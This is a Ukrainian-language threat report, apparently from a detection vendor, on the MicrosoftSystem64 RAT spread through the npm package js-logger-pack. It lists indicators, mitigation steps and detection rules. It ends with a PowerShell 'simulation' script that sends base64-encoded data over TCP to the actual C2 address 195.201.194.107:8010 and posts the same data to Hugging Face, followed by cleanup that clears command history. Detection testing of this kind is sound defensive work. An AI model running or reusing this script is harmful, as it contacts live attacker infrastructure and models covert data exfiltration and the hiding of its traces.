MicrosoftSystem64: RAT у ланцюгу поставок для ексфільтрації даних на Hugging Face
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Шкідливий npm пакет під назвою js-logger-pack був використаний для розповсюдження багатоплатформового Node.js додатку з одним виконуваним файлом під назвою MicrosoftSystem64. Двійковий файл функціонує як повнофункціональний троян для віддаленого доступу, здатний красти розширення криптовалютних гаманців, збережені браузером облікові дані, SSH-ключі, дані сеансу Telegram та скріншоти. Викрадена інформація ексфільтрується через приватні набори даних Hugging Face з використанням скомпрометованого API токена, тоді як командно-контрольний трафік обробляється через WebSocket сервер на 195.201.194.107:8010. Кампанія була пов’язана з загрозою, що асоціюється з Північною Кореєю, яка змінює облікові записи npm і Hugging Face для збереження доступу та підтримки операцій.
Розслідування
SafeDep проаналізувала зразок шкідливого програмного забезпечення та витягла його XOR-зашифровану конфігурацію, командно-контрольну кінцеву точку, токен Hugging Face та список з понад 80 цільових ID розширень гаманця. Дослідники також переглянули методи забезпечення стійкості, використані в системах Windows, macOS і Linux, та відновили весь ланцюжок ексфільтрації, що включає APIs Hugging Face. Жива перевірка 28 травня підтвердила, що активні набори даних все ще отримують скріншоти та архіви облікових даних, взяті з реальних жертв.
Пом’якшення
Організації повинні негайно видалити будь-які відомі шкідливі npm пакети, пов’язані з цією кампанією, змінити скомпрометовані облікові дані, SSH-ключі та насіння криптовалютних гаманців, та стежити за несанкціонованою активністю API Hugging Face. Захисти кінцевих точок повинні виявляти ім’я процесу MicrosoftSystem64 та будь-які пов’язані створення запланованих завдань. Мережевы контролі також повинні блокувати вихідний трафік на визначену IP-адресу командно-контроль і обмежувати несподіваний доступ до кінцевих точок Hugging Face з невідомих двійкових файлів.
Реакція
Якщо MicrosoftSystem64 виявлено, негайно ізолюйте уражену систему, припиніть шкідливий процес, видаліть установочні файли та заплановані завдання, і відкличте скомпрометований токен Hugging Face. Слідчі повинні зібрати судово-медичні докази з журналів і будь-яких шляхів ексфільтрації даних, потім сповістити відповідних зацікавлених сторін і оновити інструменти сканування залежностей, щоб блокувати шкідливі пакети в майбутніх збірках.
Потік Атаки
Виявлення
Можливі Точки Стійкості [ASEPs – Програмне забезпечення/NTUSER Hive] (через реєстр подій)
Переглянути
Можливість виконання через приховані лінії команд PowerShell (через cmdline)
Переглянути
Файл Linux .desktop був створений у незвичайній папці (через файл події)
Переглянути
Прихований файл був створений на хості Linux (через файл події)
Переглянути
IOCs (HashSha256) для виявлення: Усередині MicrosoftSystem64: РАТ ланцюга постачання з ексфільтрацією в HuggingFace
Переглянути
IOCs (SourceIP) для виявлення: Усередині MicrosoftSystem64: РАТ ланцюга постачання з ексфільтрацією в HuggingFace
Переглянути
IOCs (DestinationIP) для виявлення: Усередині MicrosoftSystem64: РАТ ланцюга постачання з ексфільтрацією в HuggingFace
Переглянути
Виявлення клавіатурного контролю SetWindowsHookEx шкідливим програмним забезпеченням [Windows Sysmon]
Переглянути
Виявлення РАТ MicrosoftSystem64 на системах Linux [Linux створення процесу]
Переглянути
Ексфільтрація даних РАТ MicrosoftSystem64 через HuggingFace [Windows мережеве з’єднання]
Переглянути
Виявлення виконання РАТ MicrosoftSystem64 і PowerShell команди [Windows створення процесу]
Переглянути
Виконання симуляції
Попередня умова: Телекартографія та базове перевірка повинні бути пройдені.
Раціональне: цей розділ описує точне виконання техніки, призначеної для спрацювання правила виявлення. Команди та наратив МАЮТЬ безпосередньо відповідати виявленим технікам та мають на меті генерувати точну телеметрію, очікувану логікою виявлення.
-
Наратив атаки та команди:
Атакуючий вже встановив “Microsoft System64 RAT” на скомпрометованому Windows хості. Щоб ексфільтрувати викрадені дані, RAT виконує дві паралельні дії:- Канал C2: Відкриває сирий сокет TCP до жорстко закодованого шкідливого сервера
195.201.194.107на порту8010та передає дані, закодовані в base-64. - Прихована HTTP ексфільтрація: Відправляє HTTPS
POSTзапит наhttps://huggingface.co/api/uploadз тими ж даними, вбудованими у тіло запиту, використовуючи законно виглядаючий user-agent, щоб злитись зі звичайним трафіком.
Обидві дії генерують події outbound firewall, які відповідають правилу Sigma.
- Канал C2: Відкриває сирий сокет TCP до жорстко закодованого шкідливого сервера
-
Скрипт тестування регресії:
# ------------------------------------------------- # Симуляція ексфільтрації System64 RAT (PowerShell) # ------------------------------------------------- # 1. Підготовка підроблених ексфільтраційних даних $data = "SecretData$(Get-Date -Format o)" | ConvertTo-Json $b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data)) # 2. Надіслати дані через сирий TCP (C2) $c2Ip = "195.201.194.107" $c2Port = 8010 try { $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Ip, $c2Port) $stream = $tcpClient.GetStream() $bytes = [Text.Encoding]::UTF8.GetBytes($b64) $stream.Write($bytes, 0, $bytes.Length) $stream.Close() $tcpClient.Close() Write-Host "[+] TCP ексфільтрація надіслана на $c2Ip:$c2Port" } catch { Write-Error "[-] З'єднання TCP не вдалося: $_" } # 3. Надіслати дані через HTTPS на HuggingFace (прихована ексфільтрація) $uri = "https://huggingface.co/api/upload" try { Invoke-WebRequest -Uri $uri ` -Method POST ` -Body @{ data = $b64 } ` -Headers @{ "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } ` -UseBasicParsing Write-Host "[+] HTTP ексфільтрація надіслана на huggingface.co" } catch { Write-Error "[-] Запит HTTP не вдалося: $_" } -
Команди очищення:
# Видаліть усі залишки мережевих артефактів Get-NetTCPConnection -RemoteAddress 195.201.194.107 -RemotePort 8010 | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # Очистіть історію PowerShell (опціонально) Clear-History